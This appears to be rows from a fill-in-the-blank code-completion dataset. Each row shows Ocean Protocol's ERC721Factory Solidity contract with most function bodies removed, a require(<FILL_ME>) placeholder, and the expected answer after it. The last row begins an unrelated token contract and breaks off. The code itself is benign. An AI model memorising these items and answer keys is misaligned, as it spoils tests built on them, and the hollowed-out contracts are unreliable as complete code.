import "./utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title DTFactory contract
* @author Ocean Protocol Team
*
* @dev Implementation of Ocean datatokens Factory
*
* DTFactory deploys datatoken proxy contracts.
* New datatoken proxy contracts are links to the template contract's bytecode.
* Proxy contract functionality is based on Ocean Protocol custom implementation of ERC1167 standard.
*/
contract ERC721Factory is Deployer, Ownable, ReentrancyGuard, IFactory {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private currentNFTCount;
address private erc20Factory;
uint256 private nftTemplateCount;
struct Template {
address templateAddress;
bool isActive;
}
mapping(uint256 => Template) public nftTemplateList;
mapping(uint256 => Template) public templateList;
mapping(address => address) public erc721List;
mapping(address => bool) public erc20List;
event NFTCreated(
address newTokenAddress,
address indexed templateAddress,
string tokenName,
address indexed admin,
string symbol,
string tokenURI,
bool transferable,
address indexed creator
);
uint256 private currentTokenCount = 0;
uint256 public templateCount;
address public router;
event Template721Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
event Template20Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
//stored here only for ABI reasons
event TokenCreated(
address indexed newTokenAddress,
address indexed templateAddress,
string name,
string symbol,
uint256 cap,
address creator
);
event NewPool(
address poolAddress,
address ssContract,
address baseTokenAddress
);
event NewFixedRate(bytes32 exchangeId, address indexed owner, address exchangeContract, address indexed baseToken);
event NewDispenser(address dispenserContract);
event DispenserCreated( // emited when a dispenser is created
address indexed datatokenAddress,
address indexed owner,
uint256 maxTokens,
uint256 maxBalance,
address allowedSwapper
);
// erc721 transfer event, stored here just for readability
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev constructor
* Called on contract deployment. Could not be called with zero address parameters.
* @param _template721 refers to the address of ERC721 template
* @param _template refers to the address of a deployed datatoken contract.
* @param _router router contract address
*/
constructor(
address _template721,
address _template,
address _router
) {
}
/**
* @dev deployERC721Contract
*
* @param name NFT name
* @param symbol NFT Symbol
* @param _templateIndex template index we want to use
* @param additionalERC20Deployer if != address(0), we will add it with ERC20Deployer role
* @param additionalMetaDataUpdater if != address(0), we will add it with updateMetadata role
* @param transferable if NFT is transferable. Cannot be changed afterwards
* @param owner owner of the NFT
*/
function deployERC721Contract(
string memory name,
string memory symbol,
uint256 _templateIndex,
address additionalERC20Deployer,
address additionalMetaDataUpdater,
string memory tokenURI,
bool transferable,
address owner
) public returns (address token) {
}
/**
* @dev get the current token count.
* @return the current token count
*/
function getCurrentNFTCount() external view returns (uint256) {
}
/**
* @dev get the token template Object
* @param _index template Index
* @return the template struct
*/
function getNFTTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new NFT Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function add721TokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev reactivate a disabled NFT Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivate721TokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev disable an NFT Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disable721TokenTemplate(uint256 _index) external onlyOwner {
}
function getCurrentNFTTemplateCount() external view returns (uint256) {
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
}
struct tokenStruct{
string[] strings;
address[] addresses;
uint256[] uints;
bytes[] bytess;
address owner;
}
/**
* @dev Deploys new datatoken proxy contract.
* This function is not called directly from here. It's called from the NFT contract.
An NFT contract can deploy multiple ERC20 tokens.
* @param _templateIndex ERC20Template index
* @param strings refers to an array of strings
* [0] = name
* [1] = symbol
* @param addresses refers to an array of addresses
* [0] = minter account who can mint datatokens (can have multiple minters)
* [1] = paymentCollector initial paymentCollector for this DT
* [2] = publishing Market Address
* [3] = publishing Market Fee Token
* @param uints refers to an array of uints
* [0] = cap_ the total ERC20 cap
* [1] = publishing Market Fee Amount
* @param bytess refers to an array of bytes, not in use now, left for future templates
* @return token address of a new proxy datatoken contract
*/
function createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess
) external returns (address token) {
}
function _createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess,
address owner
) internal returns (address token) {
require(<FILL_ME>)
require(
_templateIndex <= templateCount && _templateIndex != 0,
"ERC20Factory: Template index doesnt exist"
);
Template memory tokenTemplate = templateList[_templateIndex];
require(
tokenTemplate.isActive,
"ERC20Factory: ERC721Token Template disabled"
);
token = deploy(tokenTemplate.templateAddress);
erc20List[token] = true;
require(
token != address(0),
"ERC721Factory: Failed to perform minimal deploy of a new token"
);
emit TokenCreated(token, tokenTemplate.templateAddress, strings[0], strings[1], uints[0], owner);
currentTokenCount += 1;
tokenStruct memory tokenData = tokenStruct(strings,addresses,uints,bytess,owner);
// tokenData.strings = strings;
// tokenData.addresses = addresses;
// tokenData.uints = uints;
// tokenData.owner = owner;
// tokenData.bytess = bytess;
_createTokenStep2(token, tokenData);
}
function _createTokenStep2(address token, tokenStruct memory tokenData) internal {
}
/**
* @dev get the current ERC20token deployed count.
* @return the current token count
*/
function getCurrentTokenCount() external view returns (uint256) {
}
/**
* @dev get the current ERC20token template.
@param _index template Index
* @return the token Template Object
*/
function getTokenTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new ERC20Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function addTokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev disable an ERC20Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disableTokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev reactivate a disabled ERC20Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivateTokenTemplate(uint256 _index) external onlyOwner {
}
// if templateCount is public we could remove it, or set templateCount to private
function getCurrentTemplateCount() external view returns (uint256) {
}
struct tokenOrder {
address tokenAddress;
address consumer;
uint256 serviceIndex;
IERC20Template.providerFee _providerFee;
IERC20Template.consumeMarketFee _consumeMarketFee;
}
/**
* @dev startMultipleTokenOrder
* Used as a proxy to order multiple services
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function startMultipleTokenOrder(
tokenOrder[] memory orders
) external nonReentrant {
}
struct reuseTokenOrder {
address tokenAddress;
bytes32 orderTxId;
IERC20Template.providerFee _providerFee;
}
/**
* @dev reuseMultipleTokenOrder
* Used as a proxy to order multiple reuses
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function reuseMultipleTokenOrder(
reuseTokenOrder[] memory orders
) external nonReentrant {
}
// helper functions to save number of transactions
/**
* @dev createNftWithErc20
* Creates a new NFT, then a ERC20,all in one call
* @param _NftCreateData input data for nft creation
* @param _ErcCreateData input data for erc20 creation
*/
function createNftWithErc20(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
/**
* @dev createNftWithErc20WithPool
* Creates a new NFT, then a ERC20, then a Pool, all in one call
* Use this carefully, because if Pool creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _PoolData input data for Pool Creation
*/
function createNftWithErc20WithPool(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
PoolData calldata _PoolData
) external nonReentrant returns (address erc721Address, address erc20Address, address poolAddress){
}
/**
* @dev createNftWithErc20WithFixedRate
* Creates a new NFT, then a ERC20, then a FixedRateExchange, all in one call
* Use this carefully, because if Fixed Rate creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _FixedData input data for FixedRate Creation
*/
function createNftWithErc20WithFixedRate(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
FixedData calldata _FixedData
) external nonReentrant returns (address erc721Address, address erc20Address, bytes32 exchangeId){
}
/**
* @dev createNftWithErc20WithDispenser
* Creates a new NFT, then a ERC20, then a Dispenser, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _DispenserData input data for Dispenser Creation
*/
function createNftWithErc20WithDispenser(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
DispenserData calldata _DispenserData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
struct MetaData {
uint8 _metaDataState;
string _metaDataDecryptorUrl;
string _metaDataDecryptorAddress;
bytes flags;
bytes data;
bytes32 _metaDataHash;
IERC721Template.metaDataProof[] _metadataProofs;
}
/**
* @dev createNftWithMetaData
* Creates a new NFT, then sets the metadata, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _MetaData input metadata
*/
function createNftWithMetaData(
NftCreateData calldata _NftCreateData,
MetaData calldata _MetaData
) external nonReentrant returns (address erc721Address){
}
function _pullUnderlying(
address erc20,
address from,
address to,
uint256 amount
) internal {
}
}
| uints[0]!=0,"ERC20Factory: zero cap is not allowed" | 84,439 | uints[0]!=0 |
"ERC20Factory: Unable to initialize token instance" | pragma solidity 0.8.12;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./utils/Deployer.sol";
import "./interfaces/IFactory.sol";
import "./interfaces/IERC721Template.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IERC20Template.sol";
import "./interfaces/IERC20.sol";
import "./utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title DTFactory contract
* @author Ocean Protocol Team
*
* @dev Implementation of Ocean datatokens Factory
*
* DTFactory deploys datatoken proxy contracts.
* New datatoken proxy contracts are links to the template contract's bytecode.
* Proxy contract functionality is based on Ocean Protocol custom implementation of ERC1167 standard.
*/
contract ERC721Factory is Deployer, Ownable, ReentrancyGuard, IFactory {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private currentNFTCount;
address private erc20Factory;
uint256 private nftTemplateCount;
struct Template {
address templateAddress;
bool isActive;
}
mapping(uint256 => Template) public nftTemplateList;
mapping(uint256 => Template) public templateList;
mapping(address => address) public erc721List;
mapping(address => bool) public erc20List;
event NFTCreated(
address newTokenAddress,
address indexed templateAddress,
string tokenName,
address indexed admin,
string symbol,
string tokenURI,
bool transferable,
address indexed creator
);
uint256 private currentTokenCount = 0;
uint256 public templateCount;
address public router;
event Template721Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
event Template20Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
//stored here only for ABI reasons
event TokenCreated(
address indexed newTokenAddress,
address indexed templateAddress,
string name,
string symbol,
uint256 cap,
address creator
);
event NewPool(
address poolAddress,
address ssContract,
address baseTokenAddress
);
event NewFixedRate(bytes32 exchangeId, address indexed owner, address exchangeContract, address indexed baseToken);
event NewDispenser(address dispenserContract);
event DispenserCreated( // emited when a dispenser is created
address indexed datatokenAddress,
address indexed owner,
uint256 maxTokens,
uint256 maxBalance,
address allowedSwapper
);
// erc721 transfer event, stored here just for readability
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev constructor
* Called on contract deployment. Could not be called with zero address parameters.
* @param _template721 refers to the address of ERC721 template
* @param _template refers to the address of a deployed datatoken contract.
* @param _router router contract address
*/
constructor(
address _template721,
address _template,
address _router
) {
}
/**
* @dev deployERC721Contract
*
* @param name NFT name
* @param symbol NFT Symbol
* @param _templateIndex template index we want to use
* @param additionalERC20Deployer if != address(0), we will add it with ERC20Deployer role
* @param additionalMetaDataUpdater if != address(0), we will add it with updateMetadata role
* @param transferable if NFT is transferable. Cannot be changed afterwards
* @param owner owner of the NFT
*/
function deployERC721Contract(
string memory name,
string memory symbol,
uint256 _templateIndex,
address additionalERC20Deployer,
address additionalMetaDataUpdater,
string memory tokenURI,
bool transferable,
address owner
) public returns (address token) {
}
/**
* @dev get the current token count.
* @return the current token count
*/
function getCurrentNFTCount() external view returns (uint256) {
}
/**
* @dev get the token template Object
* @param _index template Index
* @return the template struct
*/
function getNFTTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new NFT Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function add721TokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev reactivate a disabled NFT Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivate721TokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev disable an NFT Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disable721TokenTemplate(uint256 _index) external onlyOwner {
}
function getCurrentNFTTemplateCount() external view returns (uint256) {
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
}
struct tokenStruct{
string[] strings;
address[] addresses;
uint256[] uints;
bytes[] bytess;
address owner;
}
/**
* @dev Deploys new datatoken proxy contract.
* This function is not called directly from here. It's called from the NFT contract.
An NFT contract can deploy multiple ERC20 tokens.
* @param _templateIndex ERC20Template index
* @param strings refers to an array of strings
* [0] = name
* [1] = symbol
* @param addresses refers to an array of addresses
* [0] = minter account who can mint datatokens (can have multiple minters)
* [1] = paymentCollector initial paymentCollector for this DT
* [2] = publishing Market Address
* [3] = publishing Market Fee Token
* @param uints refers to an array of uints
* [0] = cap_ the total ERC20 cap
* [1] = publishing Market Fee Amount
* @param bytess refers to an array of bytes, not in use now, left for future templates
* @return token address of a new proxy datatoken contract
*/
function createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess
) external returns (address token) {
}
function _createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess,
address owner
) internal returns (address token) {
}
function _createTokenStep2(address token, tokenStruct memory tokenData) internal {
IERC20Template tokenInstance = IERC20Template(token);
address[] memory factoryAddresses = new address[](3);
factoryAddresses[0] = tokenData.owner;
factoryAddresses[1] = router;
require(<FILL_ME>)
}
/**
* @dev get the current ERC20token deployed count.
* @return the current token count
*/
function getCurrentTokenCount() external view returns (uint256) {
}
/**
* @dev get the current ERC20token template.
@param _index template Index
* @return the token Template Object
*/
function getTokenTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new ERC20Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function addTokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev disable an ERC20Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disableTokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev reactivate a disabled ERC20Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivateTokenTemplate(uint256 _index) external onlyOwner {
}
// if templateCount is public we could remove it, or set templateCount to private
function getCurrentTemplateCount() external view returns (uint256) {
}
struct tokenOrder {
address tokenAddress;
address consumer;
uint256 serviceIndex;
IERC20Template.providerFee _providerFee;
IERC20Template.consumeMarketFee _consumeMarketFee;
}
/**
* @dev startMultipleTokenOrder
* Used as a proxy to order multiple services
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function startMultipleTokenOrder(
tokenOrder[] memory orders
) external nonReentrant {
}
struct reuseTokenOrder {
address tokenAddress;
bytes32 orderTxId;
IERC20Template.providerFee _providerFee;
}
/**
* @dev reuseMultipleTokenOrder
* Used as a proxy to order multiple reuses
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function reuseMultipleTokenOrder(
reuseTokenOrder[] memory orders
) external nonReentrant {
}
// helper functions to save number of transactions
/**
* @dev createNftWithErc20
* Creates a new NFT, then a ERC20,all in one call
* @param _NftCreateData input data for nft creation
* @param _ErcCreateData input data for erc20 creation
*/
function createNftWithErc20(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
/**
* @dev createNftWithErc20WithPool
* Creates a new NFT, then a ERC20, then a Pool, all in one call
* Use this carefully, because if Pool creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _PoolData input data for Pool Creation
*/
function createNftWithErc20WithPool(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
PoolData calldata _PoolData
) external nonReentrant returns (address erc721Address, address erc20Address, address poolAddress){
}
/**
* @dev createNftWithErc20WithFixedRate
* Creates a new NFT, then a ERC20, then a FixedRateExchange, all in one call
* Use this carefully, because if Fixed Rate creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _FixedData input data for FixedRate Creation
*/
function createNftWithErc20WithFixedRate(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
FixedData calldata _FixedData
) external nonReentrant returns (address erc721Address, address erc20Address, bytes32 exchangeId){
}
/**
* @dev createNftWithErc20WithDispenser
* Creates a new NFT, then a ERC20, then a Dispenser, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _DispenserData input data for Dispenser Creation
*/
function createNftWithErc20WithDispenser(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
DispenserData calldata _DispenserData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
struct MetaData {
uint8 _metaDataState;
string _metaDataDecryptorUrl;
string _metaDataDecryptorAddress;
bytes flags;
bytes data;
bytes32 _metaDataHash;
IERC721Template.metaDataProof[] _metadataProofs;
}
/**
* @dev createNftWithMetaData
* Creates a new NFT, then sets the metadata, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _MetaData input metadata
*/
function createNftWithMetaData(
NftCreateData calldata _NftCreateData,
MetaData calldata _MetaData
) external nonReentrant returns (address erc721Address){
}
function _pullUnderlying(
address erc20,
address from,
address to,
uint256 amount
) internal {
}
}
| tokenInstance.initialize(tokenData.strings,tokenData.addresses,factoryAddresses,tokenData.uints,tokenData.bytess),"ERC20Factory: Unable to initialize token instance" | 84,439 | tokenInstance.initialize(tokenData.strings,tokenData.addresses,factoryAddresses,tokenData.uints,tokenData.bytess) |
"Transfer amount is too low" | pragma solidity 0.8.12;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import "./utils/Deployer.sol";
import "./interfaces/IFactory.sol";
import "./interfaces/IERC721Template.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IERC20Template.sol";
import "./interfaces/IERC20.sol";
import "./utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title DTFactory contract
* @author Ocean Protocol Team
*
* @dev Implementation of Ocean datatokens Factory
*
* DTFactory deploys datatoken proxy contracts.
* New datatoken proxy contracts are links to the template contract's bytecode.
* Proxy contract functionality is based on Ocean Protocol custom implementation of ERC1167 standard.
*/
contract ERC721Factory is Deployer, Ownable, ReentrancyGuard, IFactory {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 private currentNFTCount;
address private erc20Factory;
uint256 private nftTemplateCount;
struct Template {
address templateAddress;
bool isActive;
}
mapping(uint256 => Template) public nftTemplateList;
mapping(uint256 => Template) public templateList;
mapping(address => address) public erc721List;
mapping(address => bool) public erc20List;
event NFTCreated(
address newTokenAddress,
address indexed templateAddress,
string tokenName,
address indexed admin,
string symbol,
string tokenURI,
bool transferable,
address indexed creator
);
uint256 private currentTokenCount = 0;
uint256 public templateCount;
address public router;
event Template721Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
event Template20Added(address indexed _templateAddress, uint256 indexed nftTemplateCount);
//stored here only for ABI reasons
event TokenCreated(
address indexed newTokenAddress,
address indexed templateAddress,
string name,
string symbol,
uint256 cap,
address creator
);
event NewPool(
address poolAddress,
address ssContract,
address baseTokenAddress
);
event NewFixedRate(bytes32 exchangeId, address indexed owner, address exchangeContract, address indexed baseToken);
event NewDispenser(address dispenserContract);
event DispenserCreated( // emited when a dispenser is created
address indexed datatokenAddress,
address indexed owner,
uint256 maxTokens,
uint256 maxBalance,
address allowedSwapper
);
// erc721 transfer event, stored here just for readability
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev constructor
* Called on contract deployment. Could not be called with zero address parameters.
* @param _template721 refers to the address of ERC721 template
* @param _template refers to the address of a deployed datatoken contract.
* @param _router router contract address
*/
constructor(
address _template721,
address _template,
address _router
) {
}
/**
* @dev deployERC721Contract
*
* @param name NFT name
* @param symbol NFT Symbol
* @param _templateIndex template index we want to use
* @param additionalERC20Deployer if != address(0), we will add it with ERC20Deployer role
* @param additionalMetaDataUpdater if != address(0), we will add it with updateMetadata role
* @param transferable if NFT is transferable. Cannot be changed afterwards
* @param owner owner of the NFT
*/
function deployERC721Contract(
string memory name,
string memory symbol,
uint256 _templateIndex,
address additionalERC20Deployer,
address additionalMetaDataUpdater,
string memory tokenURI,
bool transferable,
address owner
) public returns (address token) {
}
/**
* @dev get the current token count.
* @return the current token count
*/
function getCurrentNFTCount() external view returns (uint256) {
}
/**
* @dev get the token template Object
* @param _index template Index
* @return the template struct
*/
function getNFTTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new NFT Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function add721TokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev reactivate a disabled NFT Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivate721TokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev disable an NFT Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disable721TokenTemplate(uint256 _index) external onlyOwner {
}
function getCurrentNFTTemplateCount() external view returns (uint256) {
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function _isContract(address account) internal view returns (bool) {
}
struct tokenStruct{
string[] strings;
address[] addresses;
uint256[] uints;
bytes[] bytess;
address owner;
}
/**
* @dev Deploys new datatoken proxy contract.
* This function is not called directly from here. It's called from the NFT contract.
An NFT contract can deploy multiple ERC20 tokens.
* @param _templateIndex ERC20Template index
* @param strings refers to an array of strings
* [0] = name
* [1] = symbol
* @param addresses refers to an array of addresses
* [0] = minter account who can mint datatokens (can have multiple minters)
* [1] = paymentCollector initial paymentCollector for this DT
* [2] = publishing Market Address
* [3] = publishing Market Fee Token
* @param uints refers to an array of uints
* [0] = cap_ the total ERC20 cap
* [1] = publishing Market Fee Amount
* @param bytess refers to an array of bytes, not in use now, left for future templates
* @return token address of a new proxy datatoken contract
*/
function createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess
) external returns (address token) {
}
function _createToken(
uint256 _templateIndex,
string[] memory strings,
address[] memory addresses,
uint256[] memory uints,
bytes[] memory bytess,
address owner
) internal returns (address token) {
}
function _createTokenStep2(address token, tokenStruct memory tokenData) internal {
}
/**
* @dev get the current ERC20token deployed count.
* @return the current token count
*/
function getCurrentTokenCount() external view returns (uint256) {
}
/**
* @dev get the current ERC20token template.
@param _index template Index
* @return the token Template Object
*/
function getTokenTemplate(uint256 _index)
external
view
returns (Template memory)
{
}
/**
* @dev add a new ERC20Template.
Only Factory Owner can call it
* @param _templateAddress new template address
* @return the actual template count
*/
function addTokenTemplate(address _templateAddress)
public
onlyOwner
returns (uint256)
{
}
/**
* @dev disable an ERC20Template.
Only Factory Owner can call it
* @param _index index we want to disable
*/
function disableTokenTemplate(uint256 _index) external onlyOwner {
}
/**
* @dev reactivate a disabled ERC20Template.
Only Factory Owner can call it
* @param _index index we want to reactivate
*/
// function to activate a disabled token.
function reactivateTokenTemplate(uint256 _index) external onlyOwner {
}
// if templateCount is public we could remove it, or set templateCount to private
function getCurrentTemplateCount() external view returns (uint256) {
}
struct tokenOrder {
address tokenAddress;
address consumer;
uint256 serviceIndex;
IERC20Template.providerFee _providerFee;
IERC20Template.consumeMarketFee _consumeMarketFee;
}
/**
* @dev startMultipleTokenOrder
* Used as a proxy to order multiple services
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function startMultipleTokenOrder(
tokenOrder[] memory orders
) external nonReentrant {
}
struct reuseTokenOrder {
address tokenAddress;
bytes32 orderTxId;
IERC20Template.providerFee _providerFee;
}
/**
* @dev reuseMultipleTokenOrder
* Used as a proxy to order multiple reuses
* Users can have inifinite approvals for fees for factory instead of having one approval/ erc20 contract
* Requires previous approval of all :
* - consumeFeeTokens
* - publishMarketFeeTokens
* - erc20 datatokens
* - providerFees
* @param orders an array of struct tokenOrder
*/
function reuseMultipleTokenOrder(
reuseTokenOrder[] memory orders
) external nonReentrant {
}
// helper functions to save number of transactions
/**
* @dev createNftWithErc20
* Creates a new NFT, then a ERC20,all in one call
* @param _NftCreateData input data for nft creation
* @param _ErcCreateData input data for erc20 creation
*/
function createNftWithErc20(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
/**
* @dev createNftWithErc20WithPool
* Creates a new NFT, then a ERC20, then a Pool, all in one call
* Use this carefully, because if Pool creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _PoolData input data for Pool Creation
*/
function createNftWithErc20WithPool(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
PoolData calldata _PoolData
) external nonReentrant returns (address erc721Address, address erc20Address, address poolAddress){
}
/**
* @dev createNftWithErc20WithFixedRate
* Creates a new NFT, then a ERC20, then a FixedRateExchange, all in one call
* Use this carefully, because if Fixed Rate creation fails, you are still going to pay a lot of gas
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _FixedData input data for FixedRate Creation
*/
function createNftWithErc20WithFixedRate(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
FixedData calldata _FixedData
) external nonReentrant returns (address erc721Address, address erc20Address, bytes32 exchangeId){
}
/**
* @dev createNftWithErc20WithDispenser
* Creates a new NFT, then a ERC20, then a Dispenser, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _ErcCreateData input data for ERC20 Creation
* @param _DispenserData input data for Dispenser Creation
*/
function createNftWithErc20WithDispenser(
NftCreateData calldata _NftCreateData,
ErcCreateData calldata _ErcCreateData,
DispenserData calldata _DispenserData
) external nonReentrant returns (address erc721Address, address erc20Address){
}
struct MetaData {
uint8 _metaDataState;
string _metaDataDecryptorUrl;
string _metaDataDecryptorAddress;
bytes flags;
bytes data;
bytes32 _metaDataHash;
IERC721Template.metaDataProof[] _metadataProofs;
}
/**
* @dev createNftWithMetaData
* Creates a new NFT, then sets the metadata, all in one call
* Use this carefully
* @param _NftCreateData input data for NFT Creation
* @param _MetaData input metadata
*/
function createNftWithMetaData(
NftCreateData calldata _NftCreateData,
MetaData calldata _MetaData
) external nonReentrant returns (address erc721Address){
}
function _pullUnderlying(
address erc20,
address from,
address to,
uint256 amount
) internal {
uint256 balanceBefore = IERC20(erc20).balanceOf(to);
IERC20(erc20).safeTransferFrom(from, to, amount);
require(<FILL_ME>)
}
}
| IERC20(erc20).balanceOf(to)>=balanceBefore.add(amount),"Transfer amount is too low" | 84,439 | IERC20(erc20).balanceOf(to)>=balanceBefore.add(amount) |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
